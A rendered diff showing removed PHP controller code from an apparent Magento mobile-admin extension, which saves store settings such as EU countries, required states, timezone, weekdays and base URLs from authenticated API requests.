|
| 149 |
-
|
| 150 |
-
//European Union Countries
|
| 151 |
-
//$unionCountriesValue = $post_data['unionCountryVal'];
|
| 152 |
-
if(isset($post_data['unionCountryVal']))
|
| 153 |
-
{
|
| 154 |
-
$csv = implode(",", $post_data['unionCountryVal']);
|
| 155 |
-
//Mage::log($csv,null,"cart_android.log");
|
| 156 |
-
//$config = Mage::getModel('core/config');
|
| 157 |
-
Mage::getConfig()->saveConfig('general/country/eu_countries', $csv, 'default', $storeId);
|
| 158 |
-
$countryAcion['successMessage'] = "European Union Countries Has Been Saved On ".$storeName." Store.";
|
| 159 |
-
Mage::getConfig()->reinit();
|
| 160 |
-
Mage::app()->reinitStores();
|
| 161 |
-
}
|
| 162 |
-
$unionCountriesValue = Mage::getStoreConfig('general/country/eu_countries', $storeId);
|
| 163 |
-
$unionExplodedVal = explode(",", $unionCountriesValue);
|
| 164 |
-
foreach ($unionExplodedVal as $value)
|
| 165 |
-
{
|
| 166 |
-
$unionCountriesVal['val'][] = $value;
|
| 167 |
-
}
|
| 168 |
-
|
| 169 |
-
foreach ($countryAcion['countries'] as $value)
|
| 170 |
-
{
|
| 171 |
-
if(in_array($value['value'], $unionCountriesVal['val']))
|
| 172 |
-
{
|
| 173 |
-
$unionCounVal['value'] = $value['value'];
|
| 174 |
-
$unionCounVal['label'] = $value['label'];
|
| 175 |
-
$unionCounVal['status'] = 1;
|
| 176 |
-
$countryAcion['unionCountriesStatus'][] = $unionCounVal;
|
| 177 |
-
}
|
| 178 |
-
else
|
| 179 |
-
{
|
| 180 |
-
$unionCounVal['value'] = $value['value'];
|
| 181 |
-
$unionCounVal['label'] = $value['label'];
|
| 182 |
-
$unionCounVal['status'] = 0;
|
| 183 |
-
$countryAcion['unionCountriesStatus'][] = $unionCounVal;
|
| 184 |
-
}
|
| 185 |
-
}
|
| 186 |
-
|
| 187 |
-
|
| 188 |
-
//echo "<pre>"; print_r($countryAcion); die;
|
| 189 |
-
$jsonData = Mage::helper('core')->jsonEncode($countryAcion);
|
| 190 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 191 |
-
}
|
| 192 |
-
catch(Exception $e)
|
| 193 |
-
{
|
| 194 |
-
$errorResult['error'] = $e->getMessage();
|
| 195 |
-
|
| 196 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 197 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 198 |
-
}
|
| 199 |
-
}
|
| 200 |
-
else
|
| 201 |
-
{
|
| 202 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 203 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 204 |
-
}
|
| 205 |
-
|
| 206 |
-
}
|
| 207 |
-
|
| 208 |
-
public function statesOptionsAction()
|
| 209 |
-
{
|
| 210 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 211 |
-
{
|
| 212 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 213 |
-
$sessionId = $post_data['session'];
|
| 214 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 215 |
-
{
|
| 216 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 217 |
-
return false;
|
| 218 |
-
}
|
| 219 |
-
|
| 220 |
-
try
|
| 221 |
-
{
|
| 222 |
-
$storeId = $post_data['store'];
|
| 223 |
-
|
| 224 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 225 |
-
|
| 226 |
-
// State is required for
|
| 227 |
-
$statesCountries = Mage::getModel('directory/country')->getResourceCollection()->load()->toOptionArray(false);
|
| 228 |
-
|
| 229 |
-
//$statesCountriesValue = $post_data['statesCountryVal'];
|
| 230 |
-
|
| 231 |
-
if(isset($post_data['statesCountryVal']))
|
| 232 |
-
{
|
| 233 |
-
$csv = implode(",", $post_data['statesCountryVal']);
|
| 234 |
-
//Mage::log($csv,null,"cart_android.log");
|
| 235 |
-
//Mage::getConfig()->saveConfig('general/region/state_required', $csv, 'default', $storeId);
|
| 236 |
-
Mage::getConfig()->saveConfig('general/region/state_required', $csv);
|
| 237 |
-
$statesAcion['successMessage'] = "State Has Been Saved For The Following Countries On ".$storeName." Store.";
|
| 238 |
-
Mage::getConfig()->reinit();
|
| 239 |
-
Mage::app()->reinitStores();
|
| 240 |
-
}
|
| 241 |
-
|
| 242 |
-
$statesValue = Mage::getStoreConfig('general/region/state_required','default');
|
| 243 |
-
$statesExplodedVal = explode(",", $statesValue);
|
| 244 |
-
|
| 245 |
-
foreach ($statesExplodedVal as $value)
|
| 246 |
-
{
|
| 247 |
-
$statesVal['val'][] = $value;
|
| 248 |
-
}
|
| 249 |
-
// Mage::app()->getCacheInstance()->flush();
|
| 250 |
-
// Mage::app()->cleanCache();
|
| 251 |
-
|
| 252 |
-
//echo "<pre>"; print_r($statesValue); die;
|
| 253 |
-
foreach ($statesCountries as $value)
|
| 254 |
-
{
|
| 255 |
-
if(in_array($value['value'], $statesVal['val']))
|
| 256 |
-
{
|
| 257 |
-
$statesCounVal['value'] = $value['value'];
|
| 258 |
-
$statesCounVal['label'] = $value['label'];
|
| 259 |
-
$statesCounVal['status'] = 1;
|
| 260 |
-
$statesAcion['statesCountriesStatus'][] = $statesCounVal;
|
| 261 |
-
}
|
| 262 |
-
else
|
| 263 |
-
{
|
| 264 |
-
$statesCounVal['value'] = $value['value'];
|
| 265 |
-
$statesCounVal['label'] = $value['label'];
|
| 266 |
-
$statesCounVal['status'] = 0;
|
| 267 |
-
$statesAcion['statesCountriesStatus'][] = $statesCounVal;
|
| 268 |
-
}
|
| 269 |
-
}
|
| 270 |
-
|
| 271 |
-
|
| 272 |
-
// Display not required State
|
| 273 |
-
$statesReqValue = $post_data['statesReq'];
|
| 274 |
-
if($statesReqValue == 0 || $statesReqValue == 1)
|
| 275 |
-
{
|
| 276 |
-
//Mage::log($statesReqValue,null,"cart_android.log");
|
| 277 |
-
Mage::getConfig()->saveConfig('general/region/display_all', $statesReqValue, 'default');
|
| 278 |
-
$statesAcion['successMessage'] = "Display Not Required State Saved On ".$storeName." Store.";
|
| 279 |
-
Mage::getConfig()->reinit();
|
| 280 |
-
Mage::app()->reinitStores();
|
| 281 |
-
}
|
| 282 |
-
|
| 283 |
-
$statesValueDisplay = Mage::getStoreConfig('general/region/display_all');
|
| 284 |
-
|
| 285 |
-
$statesAcion['statesDsiplayVal'] = $statesValueDisplay;
|
| 286 |
-
|
| 287 |
-
|
| 288 |
-
//echo "<pre>"; print_r($statesExplodedVal); die;
|
| 289 |
-
$jsonData = Mage::helper('core')->jsonEncode($statesAcion);
|
| 290 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 291 |
-
|
| 292 |
-
}
|
| 293 |
-
catch(Exception $e)
|
| 294 |
-
{
|
| 295 |
-
$errorResult['error'] = $e->getMessage();
|
| 296 |
-
|
| 297 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 298 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 299 |
-
}
|
| 300 |
-
}
|
| 301 |
-
else
|
| 302 |
-
{
|
| 303 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 304 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 305 |
-
}
|
| 306 |
-
}
|
| 307 |
-
|
| 308 |
-
|
| 309 |
-
public function localeOptionsAction()
|
| 310 |
-
{
|
| 311 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 312 |
-
{
|
| 313 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 314 |
-
$sessionId = $post_data['session'];
|
| 315 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 316 |
-
{
|
| 317 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 318 |
-
return false;
|
| 319 |
-
}
|
| 320 |
-
|
| 321 |
-
try
|
| 322 |
-
{
|
| 323 |
-
$storeId = $post_data['store'];
|
| 324 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 325 |
-
|
| 326 |
-
|
| 327 |
-
// Timezone
|
| 328 |
-
$timezones = Mage::getModel('core/locale')->getOptionTimezones();
|
| 329 |
-
//$localeAction['timezones'] = $timezones;
|
| 330 |
-
|
| 331 |
-
//$timezonesVal = $post_data['timezoneVal'];
|
| 332 |
-
if(isset($post_data['timezoneVal']))
|
| 333 |
-
{
|
| 334 |
-
Mage::getConfig()->saveConfig('general/locale/timezone', $post_data['timezoneVal'], 'default');
|
| 335 |
-
$localeAction['successMessage'] = "Timezone Saved On ".$storeName." Store.";
|
| 336 |
-
Mage::getConfig()->reinit();
|
| 337 |
-
Mage::app()->reinitStores();
|
| 338 |
-
}
|
| 339 |
-
|
| 340 |
-
$timezoneValues = Mage::getStoreConfig('general/locale/timezone');
|
| 341 |
-
//$localeAction['timezoneSelected'] = $timezoneValues;
|
| 342 |
-
//echo "<pre>"; print_r($timezones); die;
|
| 343 |
-
foreach ($timezones as $value)
|
| 344 |
-
{
|
| 345 |
-
if($value['value'] == $timezoneValues)
|
| 346 |
-
{
|
| 347 |
-
$timezoneArr['label'] = $value['label'];
|
| 348 |
-
$timezoneArr['value'] = $value['value'];
|
| 349 |
-
$timezoneArr['status'] = 'selected';
|
| 350 |
-
$timezoneAnotherArr[] = $timezoneArr;
|
| 351 |
-
}
|
| 352 |
-
else
|
| 353 |
-
{
|
| 354 |
-
$timezoneArr['label'] = $value['label'];
|
| 355 |
-
$timezoneArr['value'] = $value['value'];
|
| 356 |
-
$timezoneArr['status'] = 'not selected';
|
| 357 |
-
$timezoneAnotherArr[] = $timezoneArr;
|
| 358 |
-
}
|
| 359 |
-
}
|
| 360 |
-
$localeAction['timezoneListSelected'] = $timezoneAnotherArr;
|
| 361 |
-
// /echo $timezoneValues; die;
|
| 362 |
-
|
| 363 |
-
|
| 364 |
-
|
| 365 |
-
|
| 366 |
-
// Locale
|
| 367 |
-
//echo "<pre>"; print_r(Mage::app()->getLocale()->getOptionWeekdays()); die;
|
| 368 |
-
// $selectedLocale = Mage::getStoreConfig('general/locale/code');
|
| 369 |
-
// echo $selectedLocale;
|
| 370 |
-
// $allLanguages = Mage::app()->getLocale()->getOptionLocales();
|
| 371 |
-
//echo "<pre>"; print_r($allLanguages);
|
| 372 |
-
|
| 373 |
-
//Mage::getConfig()->saveConfig('general/locale/code', 'en_US', 'default');
|
| 374 |
-
//Mage::app()->getLocale()->setLocaleCode('en_IE');
|
| 375 |
-
// Mage::getSingleton('core/translate')->setLocale('en_IE')->init('frontend', true);
|
| 376 |
-
|
| 377 |
-
// Mage::getConfig()->reinit();
|
| 378 |
-
// Mage::app()->reinitStores();
|
| 379 |
-
|
| 380 |
-
//die;
|
| 381 |
-
// $localVal = $post_data['localVal'];
|
| 382 |
-
// if(!empty($localVal))
|
| 383 |
-
// {
|
| 384 |
-
// Mage::getConfig()->saveConfig('general/locale/code', $localVal, 'default');
|
| 385 |
-
// $statesAcion['successMessage'] = "Default Local Saved On ".$storeName." Store.";
|
| 386 |
-
// Mage::getConfig()->reinit();
|
| 387 |
-
// Mage::app()->reinitStores();
|
| 388 |
-
// }
|
| 389 |
-
// echo "<pre>"; print_r($allLanguages); die;
|
| 390 |
-
|
| 391 |
-
|
| 392 |
-
|
| 393 |
-
// First day of week
|
| 394 |
-
//$weekDayVal = $post_data['weekDays'];
|
| 395 |
-
if(isset($post_data['weekDays']))
|
| 396 |
-
{
|
| 397 |
-
if($storeId == 0)
|
| 398 |
-
{
|
| 399 |
-
Mage::getConfig()->saveConfig('general/locale/firstday', $post_data['weekDays'], 'default', $storeId);
|
| 400 |
-
}
|
| 401 |
-
else
|
| 402 |
-
{
|
| 403 |
-
Mage::getConfig()->saveConfig('general/locale/firstday', $post_data['weekDays'], 'stores', $storeId);
|
| 404 |
-
}
|
| 405 |
-
$localeAction['successMessage'] = "First Day Of Week Saved On ".$storeName." Store.";
|
| 406 |
-
Mage::getConfig()->reinit();
|
| 407 |
-
Mage::app()->reinitStores();
|
| 408 |
-
}
|
| 409 |
-
|
| 410 |
-
$weekDaySelected = Mage::getStoreConfig('general/locale/firstday', $storeId);
|
| 411 |
-
//$weekDaySelected['slel'][] = Mage::getStoreConfig('general/locale/firstday');
|
| 412 |
-
|
| 413 |
-
$weekDaysValues = Mage::app()->getLocale()->getOptionWeekdays();
|
| 414 |
-
|
| 415 |
-
foreach ($weekDaysValues as $value)
|
| 416 |
-
{
|
| 417 |
-
if($value['value'] == $weekDaySelected)
|
| 418 |
-
//if(in_array($value['value'], $weekDaySelected['slel']))
|
| 419 |
-
{
|
| 420 |
-
$makeArr['label'] = $value['label'];
|
| 421 |
-
$makeArr['value'] = $value['value'];
|
| 422 |
-
$makeArr['status'] = 'selected';
|
| 423 |
-
$makeAnotherArr[] = $makeArr;
|
| 424 |
-
}
|
| 425 |
-
else
|
| 426 |
-
{
|
| 427 |
-
$makeArr['label'] = $value['label'];
|
| 428 |
-
$makeArr['value'] = $value['value'];
|
| 429 |
-
$makeArr['status'] = 'not selected';
|
| 430 |
-
$makeAnotherArr[] = $makeArr;
|
| 431 |
-
}
|
| 432 |
-
}
|
| 433 |
-
$localeAction['weekDaysArr'] = $makeAnotherArr;
|
| 434 |
-
|
| 435 |
-
|
| 436 |
-
|
| 437 |
-
// Weekend Days
|
| 438 |
-
//$weekendDayVal = $post_data['weekendDays'];
|
| 439 |
-
if(isset($post_data['weekendDays']))
|
| 440 |
-
{
|
| 441 |
-
$makeStr = implode(',', $weekendDayVal);
|
| 442 |
-
if($storeId == 0)
|
| 443 |
-
{
|
| 444 |
-
Mage::getConfig()->saveConfig('general/locale/weekend', $post_data['weekendDays'], 'default', $storeId);
|
| 445 |
-
}
|
| 446 |
-
else
|
| 447 |
-
{
|
| 448 |
-
Mage::getConfig()->saveConfig('general/locale/weekend', $post_data['weekendDays'], 'stores', $storeId);
|
| 449 |
-
}
|
| 450 |
-
$localeAction['successMessage'] = "Weekend Days Saved On ".$storeName." Store.";
|
| 451 |
-
Mage::getConfig()->reinit();
|
| 452 |
-
Mage::app()->reinitStores();
|
| 453 |
-
}
|
| 454 |
-
$weekendDaySelected = Mage::getStoreConfig('general/locale/weekend', $storeId);
|
| 455 |
-
//echo $weekendDaySelected;
|
| 456 |
-
$weekendExplode = explode(',', $weekendDaySelected);
|
| 457 |
-
foreach ($weekendExplode as $value)
|
| 458 |
-
{
|
| 459 |
-
$weekendExplodeValue['val'][] = $value;
|
| 460 |
-
}
|
| 461 |
-
|
| 462 |
-
$weekendDaysValues = Mage::app()->getLocale()->getOptionWeekdays();
|
| 463 |
-
|
| 464 |
-
foreach ($weekendDaysValues as $value)
|
| 465 |
-
{
|
| 466 |
-
if(in_array($value['value'], $weekendExplodeValue['val']))
|
| 467 |
-
{
|
| 468 |
-
$weekendArr['label'] = $value['label'];
|
| 469 |
-
$weekendArr['value'] = $value['value'];
|
| 470 |
-
$weekendArr['status'] = 'selected';
|
| 471 |
-
$weekendAnotherArr[] = $weekendArr;
|
| 472 |
-
}
|
| 473 |
-
else
|
| 474 |
-
{
|
| 475 |
-
$weekendArr['label'] = $value['label'];
|
| 476 |
-
$weekendArr['value'] = $value['value'];
|
| 477 |
-
$weekendArr['status'] = 'not selected';
|
| 478 |
-
$weekendAnotherArr[] = $weekendArr;
|
| 479 |
-
}
|
| 480 |
-
}
|
| 481 |
-
$localeAction['weekendDaysMulti'] = $weekendAnotherArr;
|
| 482 |
-
|
| 483 |
-
|
| 484 |
-
//echo "<pre>"; print_r($weekendAnotherArr); die;
|
| 485 |
-
$jsonData = Mage::helper('core')->jsonEncode($localeAction);
|
| 486 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 487 |
-
}
|
| 488 |
-
catch(Exception $e)
|
| 489 |
-
{
|
| 490 |
-
$errorResult['error'] = $e->getMessage();
|
| 491 |
-
|
| 492 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 493 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 494 |
-
}
|
| 495 |
-
|
| 496 |
-
}
|
| 497 |
-
else
|
| 498 |
-
{
|
| 499 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 500 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 501 |
-
}
|
| 502 |
-
}
|
| 503 |
-
|
| 504 |
-
/***** End General Section *****/
|
| 505 |
-
|
| 506 |
-
|
| 507 |
-
|
| 508 |
-
/***** Start web section ******/
|
| 509 |
-
|
| 510 |
-
public function webSectionAction()
|
| 511 |
-
{
|
| 512 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 513 |
-
{
|
| 514 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 515 |
-
$sessionId = $post_data['session'];
|
| 516 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 517 |
-
{
|
| 518 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 519 |
-
return false;
|
| 520 |
-
}
|
| 521 |
-
|
| 522 |
-
try
|
| 523 |
-
{
|
| 524 |
-
$storeId = $post_data['store'];
|
| 525 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 526 |
-
|
| 527 |
-
//Mage::log($post_data, null, "cart_android.log");
|
| 528 |
-
// echo Mage::getStoreConfig('web/default/no_route', 0);
|
| 529 |
-
// Mage::getConfig()->saveConfig('web/default/no_route', 'admin/index/noRoute2', 'default', 0);
|
| 530 |
-
// Mage::getConfig()->reinit();
|
| 531 |
-
// Mage::app()->reinitStores();
|
| 532 |
-
// die;
|
| 533 |
-
|
| 534 |
-
// Add store code to URL's
|
| 535 |
-
//$storeCodeValue = is;
|
| 536 |
-
if(isset($post_data['selectedStoreVal']))
|
| 537 |
-
{
|
| 538 |
-
Mage::getConfig()->saveConfig('web/url/use_store', $post_data['selectedStoreVal'], 'default', 0);
|
| 539 |
-
$storeCodeUrlAction['successMessage'] = "Store Code Url Saved On ".$storeName." Store.";
|
| 540 |
-
Mage::getConfig()->reinit();
|
| 541 |
-
Mage::app()->reinitStores();
|
| 542 |
-
}
|
| 543 |
-
$storeCodeUrlAction['selectedStoreCode'] = Mage::getStoreConfig('web/url/use_store');
|
| 544 |
-
|
| 545 |
-
|
| 546 |
-
|
| 547 |
-
// Auto-redirect to Base URL
|
| 548 |
-
// $autoRedirectValue = $post_data['selectedRedirect'];
|
| 549 |
-
if(isset($post_data['selectedRedirect']))
|
| 550 |
-
{
|
| 551 |
-
Mage::getConfig()->saveConfig('web/url/redirect_to_base', $post_data['selectedRedirect'], 'default', 0);
|
| 552 |
-
// Mage::app()->getCacheInstance()->flush();
|
| 553 |
-
// Mage::app()->cleanCache();
|
| 554 |
-
$storeCodeUrlAction['successMessage'] = "Auto-redirect to Base URL Saved On ".$storeName." Store.";
|
| 555 |
-
Mage::getConfig()->reinit();
|
| 556 |
-
Mage::app()->reinitStores();
|
| 557 |
-
}
|
| 558 |
-
$storeCodeUrlAction['selectedAutoRedirect'] = Mage::getStoreConfig('web/url/redirect_to_base');
|
| 559 |
-
|
| 560 |
-
|
| 561 |
-
|
| 562 |
-
// Search Engines Optimization
|
| 563 |
-
//$webRewritesValue = $post_data['webRewriteVal'];
|
| 564 |
-
if(isset($post_data['webRewriteVal']))
|
| 565 |
-
{
|
| 566 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 567 |
-
if($storeId == 0)
|
| 568 |
-
{
|
| 569 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 570 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 571 |
-
Mage::getConfig()->saveConfig('web/seo/use_rewrites', $post_data['webRewriteVal'], 'default', $storeId);
|
| 572 |
-
}
|
| 573 |
-
else
|
| 574 |
-
{
|
| 575 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 576 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 577 |
-
Mage::getConfig()->saveConfig('web/seo/use_rewrites', $post_data['webRewriteVal'], 'stores', $storeId);
|
| 578 |
-
}
|
| 579 |
-
|
| 580 |
-
$storeCodeUrlAction['successMessage'] = "Search Engine Optimization Saved On ".$storeName." Store.";
|
| 581 |
-
// Mage::getConfig()->reinit();
|
| 582 |
-
// Mage::app()->reinitStores();
|
| 583 |
-
}
|
| 584 |
-
$storeCodeUrlAction['webServerRewriteSlectedValue'] = Mage::getStoreConfig('web/seo/use_rewrites', $storeId);
|
| 585 |
-
|
| 586 |
-
|
| 587 |
-
|
| 588 |
-
//////// Unsecure
|
| 589 |
-
|
| 590 |
-
//Base URL
|
| 591 |
-
//$baseUrlValue = $post_data['baseUrlVal'];
|
| 592 |
-
if(isset($post_data['baseUrlVal']))
|
| 593 |
-
{
|
| 594 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 595 |
-
if($storeId == 0)
|
| 596 |
-
{
|
| 597 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 598 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 599 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_url', $post_data['baseUrlVal'], 'default', $storeId);
|
| 600 |
-
}
|
| 601 |
-
else
|
| 602 |
-
{
|
| 603 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 604 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 605 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_url', $post_data['baseUrlVal'], 'stores', $storeId);
|
| 606 |
-
}
|
| 607 |
-
|
| 608 |
-
$storeCodeUrlAction['successMessage'] = "Unsecure Base Url Saved On ".$storeName." Store.";
|
| 609 |
-
Mage::getConfig()->reinit();
|
| 610 |
-
Mage::app()->reinitStores();
|
| 611 |
-
}
|
| 612 |
-
$storeCodeUrlAction['baseUrlSelectedValue'] = Mage::getStoreConfig('web/unsecure/base_url', $storeId);
|
| 613 |
-
|
| 614 |
-
|
| 615 |
-
|
| 616 |
-
|
| 617 |
-
//Base Link URL
|
| 618 |
-
// $baseLinkUrlValue = $post_data['baseLinkUrlVal'];
|
| 619 |
-
if(isset($post_data['baseLinkUrlVal']))
|
| 620 |
-
{
|
| 621 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 622 |
-
if($storeId == 0)
|
| 623 |
-
{
|
| 624 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 625 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 626 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_link_url', $post_data['baseLinkUrlVal'], 'default', $storeId);
|
| 627 |
-
}
|
| 628 |
-
else
|
| 629 |
-
{
|
| 630 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 631 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 632 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_link_url', $post_data['baseLinkUrlVal'], 'stores', $storeId);
|
| 633 |
-
}
|
| 634 |
-
|
| 635 |
-
$storeCodeUrlAction['successMessage'] = "Unsecure Base Link Url Saved On ".$storeName." Store.";
|
| 636 |
-
Mage::getConfig()->reinit();
|
| 637 |
-
Mage::app()->reinitStores();
|
| 638 |
-
}
|
| 639 |
-
$storeCodeUrlAction['baseLinkUrlSelectedValue'] = Mage::getStoreConfig('web/unsecure/base_link_url', $storeId);
|
| 640 |
-
|
| 641 |
-
|
| 642 |
-
|
| 643 |
-
|
| 644 |
-
//Base Skin URL
|
| 645 |
-
// $baseSkinUrlValue = $post_data['baseSkinUrlVal'];
|
| 646 |
-
if(isset($post_data['baseSkinUrlVal']))
|
| 647 |
-
{
|
| 648 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 649 |
-
if($storeId == 0)
|
| 650 |
-
{
|
| 651 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 652 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 653 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_skin_url', $post_data['baseSkinUrlVal'], 'default', $storeId);
|
| 654 |
-
}
|
| 655 |
-
else
|
| 656 |
-
{
|
| 657 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 658 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 659 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_skin_url', $post_data['baseSkinUrlVal'], 'stores', $storeId);
|
| 660 |
-
}
|
| 661 |
-
|
| 662 |
-
$storeCodeUrlAction['successMessage'] = "Unsecure Base Skin Url Saved On ".$storeName." Store.";
|
| 663 |
-
Mage::getConfig()->reinit();
|
| 664 |
-
Mage::app()->reinitStores();
|
| 665 |
-
}
|
| 666 |
-
$storeCodeUrlAction['baseSkinUrlSelectedValue'] = Mage::getStoreConfig('web/unsecure/base_skin_url', $storeId);
|
| 667 |
-
|
| 668 |
-
|
| 669 |
-
|
| 670 |
-
|
| 671 |
-
//Base Media URL
|
| 672 |
-
//$baseMediaUrlValue = $post_data['baseMediaUrlVal'];
|
| 673 |
-
if(isset($post_data['baseMediaUrlVal']))
|
| 674 |
-
{
|
| 675 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 676 |
-
if($storeId == 0)
|
| 677 |
-
{
|
| 678 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 679 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 680 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_media_url', $post_data['baseMediaUrlVal'], 'default', $storeId);
|
| 681 |
-
}
|
| 682 |
-
else
|
| 683 |
-
{
|
| 684 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 685 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 686 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_media_url', $post_data['baseMediaUrlVal'], 'stores', $storeId);
|
| 687 |
-
}
|
| 688 |
-
|
| 689 |
-
$storeCodeUrlAction['successMessage'] = "Unsecure Base Media Url Saved On ".$storeName." Store.";
|
| 690 |
-
Mage::getConfig()->reinit();
|
| 691 |
-
Mage::app()->reinitStores();
|
| 692 |
-
}
|
| 693 |
-
$storeCodeUrlAction['baseMediaUrlSelectedValue'] = Mage::getStoreConfig('web/unsecure/base_media_url', $storeId);
|
| 694 |
-
|
| 695 |
-
|
| 696 |
-
|
| 697 |
-
|
| 698 |
-
//Base JavaScript URL
|
| 699 |
-
if(isset($post_data['baseJavaUrlVal']))
|
| 700 |
-
{
|
| 701 |
-
//Mage::log($baseJavaUrlValue, null, "cart_android.log");
|
| 702 |
-
if($storeId == 0)
|
| 703 |
-
{
|
| 704 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 705 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 706 |
-
$emizenSwitch = new Mage_Core_Model_Config();
|
| 707 |
-
/*
|
| 708 |
-
*turns notice on
|
| 709 |
-
*/
|
| 710 |
-
$emizenSwitch->saveConfig('web/unsecure/base_js_url', $post_data['baseJavaUrlVal'], 'default', 0);
|
| 711 |
-
//Mage::getConfig()->saveConfig('web/unsecure/base_js_url', $post_data['baseJavaUrlVal'], 'default', $storeId);
|
| 712 |
-
}
|
| 713 |
-
else
|
| 714 |
-
{
|
| 715 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 716 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 717 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_js_url', $post_data['baseJavaUrlVal'], 'stores', $storeId);
|
| 718 |
-
}
|
| 719 |
-
|
| 720 |
-
$storeCodeUrlAction['successMessage'] = "Unsecure Base JavaScript Url Saved On ".$storeName." Store.";
|
| 721 |
-
Mage::getConfig()->reinit();
|
| 722 |
-
Mage::app()->reinitStores();
|
| 723 |
-
}
|
| 724 |
-
$storeCodeUrlAction['baseJavaUrlSelectedValue'] = Mage::getStoreConfig('web/unsecure/base_js_url', $storeId);
|
| 725 |
-
//Mage::log($storeCodeUrlAction['baseJavaUrlSelectedValue'], null, "cart_android.log");
|
| 726 |
-
//$baseJavaUrlValue = $post_data['baseJavaUrlVal'];
|
| 727 |
-
|
| 728 |
-
|
| 729 |
-
|
| 730 |
-
|
| 731 |
-
|
| 732 |
-
//////// Secure
|
| 733 |
-
|
| 734 |
-
//Base URL
|
| 735 |
-
//$baseUrlSecureValue = $post_data['baseUrlSecureVal'];
|
| 736 |
-
if(isset($post_data['baseUrlSecureVal']))
|
| 737 |
-
{
|
| 738 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 739 |
-
if($storeId == 0)
|
| 740 |
-
{
|
| 741 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 742 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 743 |
-
Mage::getConfig()->saveConfig('web/secure/base_url', $post_data['baseUrlSecureVal'], 'default', $storeId);
|
| 744 |
-
}
|
| 745 |
-
else
|
| 746 |
-
{
|
| 747 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 748 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 749 |
-
Mage::getConfig()->saveConfig('web/secure/base_url', $post_data['baseUrlSecureVal'], 'stores', $storeId);
|
| 750 |
-
}
|
| 751 |
-
|
| 752 |
-
$storeCodeUrlAction['successMessage'] = "Secure Base Url Saved On ".$storeName." Store.";
|
| 753 |
-
Mage::getConfig()->reinit();
|
| 754 |
-
Mage::app()->reinitStores();
|
| 755 |
-
}
|
| 756 |
-
$storeCodeUrlAction['baseUrlSecureSelectedValue'] = Mage::getStoreConfig('web/secure/base_url', $storeId);
|
| 757 |
-
|
| 758 |
-
|
| 759 |
-
|
| 760 |
-
